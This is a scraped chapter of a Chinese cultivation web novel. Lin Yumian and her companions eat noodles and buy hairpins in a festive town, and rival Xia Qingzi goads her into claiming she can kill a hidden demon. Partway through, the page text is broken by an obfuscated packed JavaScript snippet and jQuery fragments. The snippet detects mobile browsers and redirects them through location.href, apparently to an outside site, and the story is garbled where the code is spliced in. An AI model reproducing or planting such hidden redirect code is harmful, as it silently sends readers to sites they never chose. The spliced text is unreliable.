他们忙碌了一整天,摸黑从山上下来,远远看到山下的七彩镇张灯结彩,男女老少谈笑声不断,众人刚刚在坟山上的那片坟地处浸透的骨头冰冷,来到这里,又被这些烟火气柔化了。
不愧是以布料绸缎闻名的镇子,夜晚张灯结彩下人人都穿着鲜艳彩衣,两旁街道也张罗叫卖着多彩的物件,明明普通平常的日子,偏是生出别的地方过节才有的那般热闹。
四人寻了一处小摊坐下,摊主给他们上了大碗的肉丝面,里面别出心裁地用葱花胡萝卜丁进行点缀。
夹一筷子摊主因他们是仙人特意加量的肉丝,肉丝也切的细致,大小统一地裹足了摊主的独家酱料摊在面条上,四人这第一碗都没能忍住,连汤水都喝的不剩,露出那光滑的碗底。
林雨眠和王黎异口同声再要一碗,王黎说完,看着林雨眠的面色古怪,林雨眠又不是不付钱,随他看。
等林雨眠吃了第二碗,再要第三碗时,一旁的叶啸早有预料地适时掐断她要说的话:“姐姐,你吃的已经够了。”
“那他呢?”林雨眠眼睁睁看王黎又要了一碗,心里很不好受。
叶啸眼中落了些凡间灯火,以往黑稠的眸子在这样的人间烟火氛围里让人感到莫名的温和,他理所应当:“他不是我姐姐。”
林雨眠心道她也不是他姐姐,她这徒弟怎么还入戏太深呢,对面郭沫沫突然问:“妹妹,我上次送你的发钗可是不喜?”
“发钗……”
就是郭沫沫上次因为要送发钗才撞破的她不在自己屋子睡觉,而是留宿的叶啸屋子,然后郭沫沫就认定她和叶啸之间有猫腻,明眼看他们认为是禁忌的姐弟,恋,私下里竟然还送他们那种东西。
所以林雨眠哪有心思打扮自己,那发钗一直放在储物袋里就没动过。
叶啸看了眼她发间,扯住她的衣袖起身:“我们去摊子那看看。”
一旁摊主留意着这边情况,也扭过头搭话:“我们七彩镇就这些小玩意做的精细,仙人们要是喜欢只管去买,他们肯定都愿意白送仙人。”
叶啸在桌上留下银子,扯住林雨眠的衣袖走了,远远还能听到身后摊主扬声喊道:“不用给钱,仙人们保护我们七彩镇,这是我们七彩镇百姓的心意……”
“喜欢什么样的?”
叶啸带着晕头转向实则隐隐有些期待的林雨眠来到一摊子前,反正都是叶啸付钱,林雨眠为难地挑了一大堆,摊主乐的都装进妆匣里,最后叶啸在摊主推辞不要钱的话里留下银子,又扯着林雨眠的衣袖去了别的摊子。
一些林雨眠见过还是没见过的漂亮玩意在这里都能见到,林雨眠好奇地在摊主的介绍下收获不少,当然最后都是叶啸付的银子。
林雨眠看到一支特别适合郭沫沫的步摇,买下准备还礼郭沫沫,回去路上,果然见到郭沫沫和王黎也逛起摊子。
王黎这小子通红着脸,执剑斩妖的手何其稳当,偏偏败在那小小的钗子上,哆哆嗦嗦地帮郭沫沫插入发间,郭沫沫在铜镜里看了不慎满意,取下又放了回去。
林雨眠贼兮兮地挤开王黎,让对方学着点怎么讨女孩喜欢,把买来的步摇插入了郭沫沫发间,郭沫沫从铜镜里看了过来,忍不住笑意:“妹妹,你和王师兄都插歪了。”
然后王黎红透的脸就彻底烧了起来,林雨眠倒是脸不红心不跳地扶正:“这样呢?”
郭沫沫轻笑:“还是歪的。”
这怎么可能,林雨眠又接连试了几次,郭沫沫叹气:“原来妹妹是不知道如何戴这些头饰,才没有戴我送的发钗。”
“哈哈……”
林雨眠尴尬收手,余光里王黎那眼睛好像在朝她燃火哎。
两个姑娘家一路回去走走停停,都买了不少心仪的东西,然而走至赵家门前,守在那里的的随从各自拿着一盏灯笼,见是仙人,有一个随从急匆匆跑回院子里大喊:“仙人回来了,仙人回来了……”
“这是怎么了?”郭沫沫不解。
还不待另一位随从解释,韩玄从门里出来见了他们,大喜:“你们没事太好了!”
看来这位仁兄的伙伴在他面前消失,对他打击太大,他怀疑他们这么晚还没回来是出事了。
郭沫沫王黎跟他说了几句,里面又急匆匆赶来一些人,林雨眠眼尖地发现傻乎乎的白玉宣竟然也在其中。
倒也该是如此,叶不凡能来这里,白玉宣当然也能来这里,她只是感慨小说作者设计的这个支线副本把主角认识的人都聚在了一起,原来是介绍这些人的境况啊。
白玉宣身边围了两个师兄,一同朝林雨眠这边走来,白玉宣眼睛直勾勾地盯着林雨眠,其中一位师兄问道:“诸位可有发现什么?”
叶啸把捡的罗盘拿出来,其中一位师兄诧异:“这是半梦的罗盘没错!”
他们又问了一些,该是和那位叫段半梦的同门交好,四人做的一个任务,但段半梦喜欢改良完善一些术法法器,便同韩玄队伍里的人商讨如何操作,这才与韩玄队伍里换了一人过去。
那位师兄十分挂念段半梦,林雨眠他们说出了阵法隐藏妖气的猜测。
至于挖坟,还是等他们真正寻到阵眼再说,如果没发现阵眼,事后还可以在他们这些人面前装作没做过那些骇人听闻的事情。
他们这样边说边走,有位师兄也觉察白玉宣的异样,问道:“白师叔,你为什么一直盯着人姑娘看,认识她吗?”
没错,林雨眠也是从他们谈话中得知,白玉宣并没有被掌门收为徒弟,而是被别的长老捡漏了,白玉宣的辈分一跃而起,也成为早他们来的这些师兄师姐的师叔,和叶啸、李流云成一个辈分的人了。
林雨眠看过去,见白玉宣点头又摇头:“她的气息好像香凝。”
“香凝是……嗷,是师叔凡间的妻子啊,气息,什么气息,姑娘家用的香薰吗?”那师兄疑惑。
别人不知其中细节,林雨眠却知道,当初白玉宣缠在李香凝左右时,也是说了李香凝身上的气息好闻,后来不知为何气息又消失了,直到林雨眠十年后再次来到李香凝的身体,白玉宣见她的第一句话就是说“气息又回来了”。
一瞬间这当中细节串联在一起,林雨眠隐隐觉得要抓住什么,但又什么都没抓住,她只得顶着白玉宣的视线礼貌笑笑不语,尽量忽视。
叶啸代她回答之前那师兄的话:“许是香薰一样。”
那师兄笑笑,暗自扯住白玉宣,不让白玉宣再多说些奇怪的话来,白玉宣面上懵懂,只知盯着林雨眠看。
走至正堂,夏清姿陈升队伍里的四人正与赵家家主在里等候。
看到他们迟迟才来,夏清姿蹙眉一瞬,一旁的赵家家主已经迎了上来:“各位仙人没事就好,这么晚回来可是发现了什么,那些消失的仙人……”
郭沫沫性子好,又负责述说一遍,王黎在旁搭腔附和,赵家家主听了,眉眼间忧愁更浓:“若是那三位仙人都误入阵法之中,掉入了妖物的老巢,我们一日不救回他们,他们就多一分危险,时间拖的越久,他们……”
众人都清楚知道这些,现在他们已经确定,这没有任何妖气显现的七彩镇的确有妖,只是这妖物潜伏太深,实在难以揪出来除掉,难免气氛低落……
林雨眠掐指算来倒是不关心消失的三位同门,他们现在的确安全,只是众人在这里说来说去也不能说出个结果,倒不如各自散去,等待明日再一同上山寻找阵眼。
她还没提议,屁股黏在上座的夏清姿就扬声问起众人这阵法,只是阵法万千,总得能看到阵法才好解决,当然无果。
突然夏清姿话音一转,重重咬字:“叶师叔这位姐姐,可对阵法有什么研究?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759178|185314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
哼,还不是不好当众为难叶啸他一个新入门的弟子,就把问题扯在她这个做姐姐的头上了,墨黎大乘期修为一指就能碾碎了那坟山的法阵,现在低调陪你们小弟子玩玩罢了。
她双眸坦诚,中气十足:“没有研究。”
夏清姿有意踩上一脚:“那你们要想除妖,可就难了,我还等待师姐能完成承诺,独自斩杀那妖物呢。”
王黎皱眉:“我们什么时候有过这承诺?!”
夏清姿说着看向赵家家主:“你们白日来宅子时说的,家主也在,我当时还说静待你们佳音呢。”
郭沫沫冷声:“没有过这事!”
韩玄被夏清姿扯着胳膊,他听来他们说的话完全摸不着头脑,试图喊住夏清姿,夏清姿的声音又响起。
“家主,那时候你也在这听着的……”夏清姿又问一旁陈升,还有他们队伍的其他两人。
问到那画符的师兄时,符兄看了眼林雨眠又看向夏清姿,慌道:“那时候我不在这里,我不知……”
要不说是一个队伍里的人,另一人当时也没在,但此时却能扬声附和。
郭沫沫王黎气的哆嗦,没有夏清姿他们那般能演,和旁人说的绘声绘色,林雨眠握住郭沫沫的手正待安抚,刚才那符兄突然亮着眼眸出声:“我觉得,他们应该是有能力才说的那话……”
夏清姿眉眼间闪过厌恶,一转又接住话道:“我当然也没有质疑他们的意思,不是他们又转口否认,我也不会说这些。我初入宗门,最向往诸位有为的师兄师姐,不管是哪位师兄师姐能有如此魄力与能力,我都为之倾佩,他们既然敢接下除掉妖物的任务,自然也是有把握在手,往后与妖对战上,我等还当仰慕叶师姐出手。”
郭沫沫王黎也是看破了夏清姿不要脸的模样,明明白日里说师兄师姐不过是比他们早入门,也就如此,现在又能说出这样的话来。
王黎看不过,正要出手,林雨眠拦下他,扬声道:“师弟你等着看就是,是与不是,到底如何,你求学心切,师姐届时可以教你几招,还可以帮你求求其他师兄师姐也不要藏私哦。”
韩玄总算能搭上话:“照顾自己师弟师妹,肯定不能藏私,遥想我当年,也有向师兄师姐求教的时候……”
没能想到林雨眠就这样大言不惭地应下了,夏清姿还想多看他们出丑狡辩的模样,氛围反倒是因林雨眠的话弄得热络,在场同门都当夏清姿是一个特别上进崇拜强者的师弟,嘻嘻哈哈笑过,众人也都是经过这么一个时期。
最后各自散去,回去路上,郭沫沫忍不住叹息:“妹妹何必受那人所激,一人抗下?”
林雨眠知道男主光环,男主在剧情里必然有高光时刻,管那妖物到底是被谁杀的,谁还陪夏清姿玩什么幼儿园小朋友级别的勾心斗角。
到最后大家都去关心杀掉妖物的叶啸了,难不成夏清姿还揪出她鞭打?
反正都是姐弟,姐姐做的,还是弟弟做的,都一样吧。
“没事,我们没必要在这事上争论,谁能除掉那妖物都好,不必纠结这个。”林雨眠安抚郭沫沫。
郭沫沫仍有疑虑:“若是你没能杀掉那妖物,届时那师弟又该拿你说事了。”
林雨眠叹气:“是谁杀的有那么重要吗?重要的不是杀了就好吗?为什么一定要代入他的思路去想,别人都如他一样,我没做到,难不成笑过两句还不够,还要讥讽孤立我吗?”
王黎难得赞同林雨眠,此时也安抚郭沫沫:“叶师妹说的是,同门里还是正常人多。”
正当这时,前面有人等在那里,韩玄、白玉宣以及其他的师兄师姐隐于暗处,笑着出声:“有需要就喊我们,夏师弟仍是年轻性子,才会计较那些事情,叶师妹可要留给我等表现的机会,不能一个人占尽风光啊。”
果然,还是正常人多。